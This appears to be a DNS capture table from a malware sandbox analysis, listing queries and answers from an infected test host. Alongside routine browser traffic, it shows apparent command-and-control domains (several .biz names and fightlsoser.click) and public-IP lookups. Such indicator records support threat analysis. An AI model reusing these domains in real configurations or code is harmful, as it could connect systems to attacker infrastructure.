Dec 14, 2024 14:57:41.282155037 CET	192.168.2.5	1.1.1.1	0xaa6	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 14:57:43.702708006 CET	192.168.2.5	1.1.1.1	0xd6d9	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:52.590538979 CET	192.168.2.5	1.1.1.1	0x6649	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:52.729756117 CET	192.168.2.5	1.1.1.1	0x8f0a	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 14:58:10.779767990 CET	192.168.2.5	1.1.1.1	0xfb7a	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 14:58:34.087142944 CET	192.168.2.5	1.1.1.1	0x3c51	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:58:34.240631104 CET	192.168.2.5	1.1.1.1	0x6c29	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 14:58:35.488675117 CET	192.168.2.5	1.1.1.1	0x427b	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:58:35.633929968 CET	192.168.2.5	1.1.1.1	0x7755	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:58:35.835870028 CET	192.168.2.5	1.1.1.1	0x3e02	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:59:55.492100000 CET	192.168.2.5	1.1.1.1	0xc668	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:59:55.630620003 CET	192.168.2.5	1.1.1.1	0xfc05	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:59:55.780601978 CET	192.168.2.5	1.1.1.1	0xfc79	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 14:59:57.015419960 CET	192.168.2.5	1.1.1.1	0x7b88	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:00:13.952357054 CET	192.168.2.5	1.1.1.1	0x9ff	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 15:00:15.223403931 CET	192.168.2.5	1.1.1.1	0xa46	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:02:11.475301027 CET	192.168.2.5	1.1.1.1	0x4925	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:02:11.475508928 CET	192.168.2.5	1.1.1.1	0xa704	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:02:11.645229101 CET	192.168.2.5	1.1.1.1	0xf941	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:02:11.645379066 CET	192.168.2.5	1.1.1.1	0x6824	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:02:11.646276951 CET	192.168.2.5	1.1.1.1	0xe78	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 15:02:11.811620951 CET	192.168.2.5	1.1.1.1	0xea5b	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 14, 2024 15:02:12.884418964 CET	192.168.2.5	1.1.1.1	0xdfc2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:02:37.141652107 CET	192.168.2.5	1.1.1.1	0x52	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:02:37.292165041 CET	192.168.2.5	1.1.1.1	0xf4fc	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:02:37.432528973 CET	192.168.2.5	1.1.1.1	0xa817	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 15:04:15.625166893 CET	192.168.2.5	1.1.1.1	0x7436	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:04:15.776365042 CET	192.168.2.5	1.1.1.1	0x1964	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 15:04:16.847676992 CET	192.168.2.5	1.1.1.1	0x1904	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 14, 2024 14:56:38.938973904 CET	1.1.1.1	192.168.2.5	0xde12	No error (0)	google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:39.405627966 CET	1.1.1.1	192.168.2.5	0x830d	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:56:39.405627966 CET	1.1.1.1	192.168.2.5	0x830d	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:39.405627966 CET	1.1.1.1	192.168.2.5	0x830d	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:39.405627966 CET	1.1.1.1	192.168.2.5	0x830d	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:39.405627966 CET	1.1.1.1	192.168.2.5	0x830d	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:39.405627966 CET	1.1.1.1	192.168.2.5	0x830d	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:55.334294081 CET	1.1.1.1	192.168.2.5	0x8c80	Name error (3)	se-blurry.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:55.562266111 CET	1.1.1.1	192.168.2.5	0x1ed4	Name error (3)	zinc-sneark.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:55.791707039 CET	1.1.1.1	192.168.2.5	0xefa	Name error (3)	dwell-exclaim.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:56.040451050 CET	1.1.1.1	192.168.2.5	0xff67	Name error (3)	formy-spill.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:56.429780006 CET	1.1.1.1	192.168.2.5	0xfba9	Name error (3)	covery-mover.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:56.910521030 CET	1.1.1.1	192.168.2.5	0x431c	Name error (3)	dare-curbys.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:57.139959097 CET	1.1.1.1	192.168.2.5	0x599b	Name error (3)	print-vexer.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:57.526432991 CET	1.1.1.1	192.168.2.5	0x181a	Name error (3)	impend-differ.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.515580893 CET	1.1.1.1	192.168.2.5	0x9d1c	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.516592026 CET	1.1.1.1	192.168.2.5	0xa245	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.519084930 CET	1.1.1.1	192.168.2.5	0xbb59	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:56:59.519084930 CET	1.1.1.1	192.168.2.5	0xbb59	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.725857019 CET	1.1.1.1	192.168.2.5	0x7ea1	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.732342958 CET	1.1.1.1	192.168.2.5	0xe938	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.733153105 CET	1.1.1.1	192.168.2.5	0x3a64	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.779022932 CET	1.1.1.1	192.168.2.5	0x4eec	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.797987938 CET	1.1.1.1	192.168.2.5	0x49c4	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:56:59.797987938 CET	1.1.1.1	192.168.2.5	0x49c4	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.802418947 CET	1.1.1.1	192.168.2.5	0x6ce9	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:56:59.802418947 CET	1.1.1.1	192.168.2.5	0x6ce9	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.802839041 CET	1.1.1.1	192.168.2.5	0xc31	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:56:59.802839041 CET	1.1.1.1	192.168.2.5	0xc31	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:56:59.802839041 CET	1.1.1.1	192.168.2.5	0xc31	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.873059034 CET	1.1.1.1	192.168.2.5	0x2781	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.874463081 CET	1.1.1.1	192.168.2.5	0x9359	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Dec 14, 2024 14:56:59.890677929 CET	1.1.1.1	192.168.2.5	0xb75d	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:56:59.963954926 CET	1.1.1.1	192.168.2.5	0x9295	No error (0)	youtube.com			28	IN (0x0001)	false
Dec 14, 2024 14:56:59.965234995 CET	1.1.1.1	192.168.2.5	0x51d2	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.004103899 CET	1.1.1.1	192.168.2.5	0x4e27	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:00.004103899 CET	1.1.1.1	192.168.2.5	0x4e27	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.056498051 CET	1.1.1.1	192.168.2.5	0x1316	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.155392885 CET	1.1.1.1	192.168.2.5	0xada4	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.167887926 CET	1.1.1.1	192.168.2.5	0x8b4f	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.346438885 CET	1.1.1.1	192.168.2.5	0x41ea	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Dec 14, 2024 14:57:00.438960075 CET	1.1.1.1	192.168.2.5	0x20fd	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.495076895 CET	1.1.1.1	192.168.2.5	0xbd8c	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.731152058 CET	1.1.1.1	192.168.2.5	0xbb4b	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.792049885 CET	1.1.1.1	192.168.2.5	0x9c03	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.957022905 CET	1.1.1.1	192.168.2.5	0xea32	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.957573891 CET	1.1.1.1	192.168.2.5	0x5881	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.957573891 CET	1.1.1.1	192.168.2.5	0x5881	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.961138010 CET	1.1.1.1	192.168.2.5	0xa1a2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:00.961138010 CET	1.1.1.1	192.168.2.5	0xa1a2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.977772951 CET	1.1.1.1	192.168.2.5	0x8f95	No error (0)	fightlsoser.click		104.21.35.43	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.977772951 CET	1.1.1.1	192.168.2.5	0x8f95	No error (0)	fightlsoser.click		172.67.213.48	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:01.413619995 CET	1.1.1.1	192.168.2.5	0xda00	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.879287958 CET	1.1.1.1	192.168.2.5	0x3df7	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:02.879287958 CET	1.1.1.1	192.168.2.5	0x3df7	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.879287958 CET	1.1.1.1	192.168.2.5	0x3df7	No error (0)	youtube-ui.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.879287958 CET	1.1.1.1	192.168.2.5	0x3df7	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.879287958 CET	1.1.1.1	192.168.2.5	0x3df7	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.879287958 CET	1.1.1.1	192.168.2.5	0x3df7	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.879287958 CET	1.1.1.1	192.168.2.5	0x3df7	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.879287958 CET	1.1.1.1	192.168.2.5	0x3df7	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.879287958 CET	1.1.1.1	192.168.2.5	0x3df7	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.879287958 CET	1.1.1.1	192.168.2.5	0x3df7	No error (0)	youtube-ui.l.google.com		172.217.19.14	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.879287958 CET	1.1.1.1	192.168.2.5	0x3df7	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.879287958 CET	1.1.1.1	192.168.2.5	0x3df7	No error (0)	youtube-ui.l.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.879287958 CET	1.1.1.1	192.168.2.5	0x3df7	No error (0)	youtube-ui.l.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.879287958 CET	1.1.1.1	192.168.2.5	0x3df7	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.879360914 CET	1.1.1.1	192.168.2.5	0xe224	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:02.879360914 CET	1.1.1.1	192.168.2.5	0xe224	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.880150080 CET	1.1.1.1	192.168.2.5	0x3cf3	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:02.880150080 CET	1.1.1.1	192.168.2.5	0x3cf3	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.043476105 CET	1.1.1.1	192.168.2.5	0x5101	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.059029102 CET	1.1.1.1	192.168.2.5	0x288f	No error (0)	youtube-ui.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.059029102 CET	1.1.1.1	192.168.2.5	0x288f	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.059029102 CET	1.1.1.1	192.168.2.5	0x288f	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.059029102 CET	1.1.1.1	192.168.2.5	0x288f	No error (0)	youtube-ui.l.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.059029102 CET	1.1.1.1	192.168.2.5	0x288f	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.059029102 CET	1.1.1.1	192.168.2.5	0x288f	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.059029102 CET	1.1.1.1	192.168.2.5	0x288f	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.059029102 CET	1.1.1.1	192.168.2.5	0x288f	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.059029102 CET	1.1.1.1	192.168.2.5	0x288f	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.094041109 CET	1.1.1.1	192.168.2.5	0x5077	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.193347931 CET	1.1.1.1	192.168.2.5	0xe066	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Dec 14, 2024 14:57:03.201838017 CET	1.1.1.1	192.168.2.5	0x5695	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 14, 2024 14:57:03.201838017 CET	1.1.1.1	192.168.2.5	0x5695	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 14, 2024 14:57:03.201838017 CET	1.1.1.1	192.168.2.5	0x5695	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 14, 2024 14:57:03.201838017 CET	1.1.1.1	192.168.2.5	0x5695	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 14, 2024 14:57:03.232988119 CET	1.1.1.1	192.168.2.5	0x176c	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Dec 14, 2024 14:57:03.337605953 CET	1.1.1.1	192.168.2.5	0x69ee	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:03.337605953 CET	1.1.1.1	192.168.2.5	0x69ee	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.337605953 CET	1.1.1.1	192.168.2.5	0x69ee	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.337605953 CET	1.1.1.1	192.168.2.5	0x69ee	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.337605953 CET	1.1.1.1	192.168.2.5	0x69ee	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.342586994 CET	1.1.1.1	192.168.2.5	0x3ab0	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.418437958 CET	1.1.1.1	192.168.2.5	0x36a0	Name error (3)	se-blurry.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.497689962 CET	1.1.1.1	192.168.2.5	0x6ded	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.566277027 CET	1.1.1.1	192.168.2.5	0xc7ed	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.566277027 CET	1.1.1.1	192.168.2.5	0xc7ed	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.566277027 CET	1.1.1.1	192.168.2.5	0xc7ed	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.566277027 CET	1.1.1.1	192.168.2.5	0xc7ed	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.690867901 CET	1.1.1.1	192.168.2.5	0x7a31	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:03.690867901 CET	1.1.1.1	192.168.2.5	0x7a31	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:03.690867901 CET	1.1.1.1	192.168.2.5	0x7a31	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.842845917 CET	1.1.1.1	192.168.2.5	0x6ff3	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:04.038757086 CET	1.1.1.1	192.168.2.5	0x90ba	Name error (3)	zinc-sneark.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:04.183562040 CET	1.1.1.1	192.168.2.5	0x79e3	Name error (3)	dwell-exclaim.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:04.343482018 CET	1.1.1.1	192.168.2.5	0x7e6b	Name error (3)	formy-spill.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:04.662444115 CET	1.1.1.1	192.168.2.5	0xd5a1	Name error (3)	covery-mover.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:04.874102116 CET	1.1.1.1	192.168.2.5	0x9dba	Name error (3)	dare-curbys.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:05.018964052 CET	1.1.1.1	192.168.2.5	0x553b	Name error (3)	print-vexer.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:05.240112066 CET	1.1.1.1	192.168.2.5	0x868d	Name error (3)	impend-differ.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:09.168308020 CET	1.1.1.1	192.168.2.5	0x385c	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 14, 2024 14:57:09.168416977 CET	1.1.1.1	192.168.2.5	0x29ac	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:13.740988970 CET	1.1.1.1	192.168.2.5	0x200b	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:13.740988970 CET	1.1.1.1	192.168.2.5	0x200b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:16.425659895 CET	1.1.1.1	192.168.2.5	0x8a5	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:16.425659895 CET	1.1.1.1	192.168.2.5	0x8a5	No error (0)	plus.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:16.427172899 CET	1.1.1.1	192.168.2.5	0x10c2	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:17.406436920 CET	1.1.1.1	192.168.2.5	0x5778	No error (0)	play.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:26.697115898 CET	1.1.1.1	192.168.2.5	0x8ac0	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:26.697115898 CET	1.1.1.1	192.168.2.5	0x8ac0	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:34.097142935 CET	1.1.1.1	192.168.2.5	0x7d92	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:40.868140936 CET	1.1.1.1	192.168.2.5	0x46c4	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:40.868140936 CET	1.1.1.1	192.168.2.5	0x46c4	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:40.868140936 CET	1.1.1.1	192.168.2.5	0x46c4	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:40.868140936 CET	1.1.1.1	192.168.2.5	0x46c4	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:41.016877890 CET	1.1.1.1	192.168.2.5	0x4848	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:41.016877890 CET	1.1.1.1	192.168.2.5	0x4848	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:41.016877890 CET	1.1.1.1	192.168.2.5	0x4848	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:41.016877890 CET	1.1.1.1	192.168.2.5	0x4848	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:41.065831900 CET	1.1.1.1	192.168.2.5	0x9f75	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:41.065831900 CET	1.1.1.1	192.168.2.5	0x9f75	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:41.155586958 CET	1.1.1.1	192.168.2.5	0x8a28	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Dec 14, 2024 14:57:41.155586958 CET	1.1.1.1	192.168.2.5	0x8a28	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Dec 14, 2024 14:57:41.155586958 CET	1.1.1.1	192.168.2.5	0x8a28	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Dec 14, 2024 14:57:41.155586958 CET	1.1.1.1	192.168.2.5	0x8a28	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Dec 14, 2024 14:57:41.185480118 CET	1.1.1.1	192.168.2.5	0x9f75	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
